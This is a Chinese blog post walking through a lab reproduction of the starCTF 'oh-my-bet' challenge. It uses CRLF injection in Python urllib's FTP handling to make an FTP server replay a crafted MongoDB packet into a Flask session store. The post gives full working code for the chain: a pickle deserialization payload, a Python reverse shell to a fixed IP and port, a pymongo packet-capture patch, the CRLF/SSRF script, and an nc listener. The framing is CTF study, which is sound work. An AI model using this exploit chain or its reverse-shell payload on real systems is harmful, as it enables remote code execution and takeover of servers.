如何使用SSRF控制FTP服务器攻击内网的mongodb

本文详细描述了如何通过CRLF漏洞在星CTF挑战oh-my-bet中,利用flask搭建的Web服务器与虚拟机上的MongoDB和FTP服务器进行交互,实现恶意数据包注入和数据库内容修改的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1 背景

最近在尝试做 starCTF 中的 oh-my-bet,需要使用 CRLF 漏洞来控制 FTP 向 mongodb 中发送数据包来修改 mongodb 中的内容。我尝试着自己手动构建了一个简易的环境来实现大致的流程。

2 环境搭建

使用虚拟机 + 主机两台机器来实现整个流程:

  1. 宿主机(Web 服务器)
  2. 虚拟机(用来攻击的服务器)

2.1 搭建mongo环境(宿主机和虚拟机)

在宿主机和虚拟机都需要搭建mongo环境,为了不与主机的 mongo 重合,我采用 27018 端口

docker run -itd --name mongo -p 27018:27017 mongo

2.2 flask(宿主机)


#!/usr/bin/env python
# -*- coding:utf-8 -
from flask import Flask, session
from flask_session import Session
import pymongo

app = Flask(__name__)

app.debug = True
app.secret_key = 'f4545478ee86$%^&&%$#'
app.config['SESSION_TYPE'] = 'mongodb'  # session 类型为 mongodb

app.config['SESSION_MONGODB'] = pymongo.MongoClient(host='127.0.0.1', port=27018)
app.config['SESSION_MONGODB_DB'] = 'admin'
app.config['SESSION_MONGODB_COLLECT'] = 'sessions'

# 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_PERMANENT'] = True
# 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_USE_SIGNER'] = False
# 保存到session中的值的前缀
app.config['SESSION_KEY_PREFIX'] = 'session:'

Session(app)

@app.route('/')
def index():
    session['name'] = 'slug01sh'
    return 'hello mongo'

@app.route('/get')
def get():
    b = session.get('name')
    return b

if __name__ == '__main__':
    app.run()

这个 flask 应用共有 2 个路径 //get

  • / 可以初始化 session
  • /get可以将 session 从 mongo 中取出(会进行反序列化操作)

访问 http://127.0.0.1:5000 ,查看控制台即可得到 session 为:922b2d8f-26c8-4146-8742-9d62b3988a17

2.3 mongo数据包(虚拟机)

在虚拟机中生成 mongo 数据包,将二进制文件保存到 FTPD 的根目录下。(在这里,我缩略了一些步骤。oh-my-bet 一题中需要先把文件上传到 FTP 服务器中,并保存成文件,再发送到 mongo 中。而这里我直接生成数据包保存到 FTP 服务器中)

生成数据包之前需要先修改 pymongo 中的 network.py 文件,用来捕获数据包。使用下面的命令找到 pymongo 的位置。

python3 -c "import pymongo;print(pymongo.__file__)" 

运行即可找到 pymongo 的路径

使用 sendall 关键字寻找

在 try 前,添加如图所示的代码:

if b'session:' in msg:
    e = Exception()
    e.message = msg
    raise e

最后在 ftp 服务器的目录下生成 mongo 数据包(二进制文件)

from pymongo import MongoClient
import pickle
import os

# 构建反序列化
def get_pickle(cmd):
    class exp(object):
        def __reduce__(self):
            return (os.system, (cmd,))

    return pickle.dumps(exp())

# 获取mongo的请求包
def get_mongo(cmd):
    client = MongoClient('127.0.0.1', 27018)
    coll = client.admin.sessions
    try:
        coll.update_one(
            {'id': 'session:922b2d8f-26c8-4146-8742-9d62b3988a17'},
            {"$set": {"val": get_pickle(cmd)}},
            upsert=True
        )
    except Exception as e:
        return e.message

if __name__ == '__main__':
    packet = get_mongo(
        cmd="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.5",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")

    print(packet)

    file = open('slug01sh', 'ab')
    file.write(packet)

记得修改上面的session(mongo通过session来找到用户)和 cmd(反序列化时会被运行的指令)。

运行脚本生成 mongo 数据包

2.4 FTP服务器(虚拟机)

FTP 服务器源码

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")

handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

server = FTPServer(("10.211.55.5", 8877), handler)
server.serve_forever()

运行状态:

3 攻击

准备 CRLF 脚本

import urllib.request

def get_port_cmd(host):
    ip, port = host.split(':')
    ip = ','.join(ip.split('.'))
    port = int(port)
    return f'port {ip},{port // 256},{port - port // 256 * 256}'


if __name__ == '__main__':
    # 向本地的FTP发送消息
    target = '10.211.55.5:8877'

    # FTP的消息
    commands = ['type i', get_port_cmd(host='10.211.55.2:27018'), 'retr slug01sh']
    commands_str = '\r\n'.join(commands)
    commands_str = urllib.parse.quote(commands_str)

    url = 'ftp://fan:root@'+target+'/\r\n'+commands_str
    urllib.request.urlopen(url)

可以运行脚本的 Python 版本:

  • Python 3.x版本至3.7.2版本中的urllib

运行CRLF代码,可以看到虚拟机中的 FTP 服务器显示发送成功

使用 navicat 连接m ongo,观察集合可以发现,通过 val 的长度来判断是否被更新成功。

在虚拟机中使用 nc -lvp 9999 等待反弹 shell,使用浏览器访问 http://127.0.0.1:5000/get

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值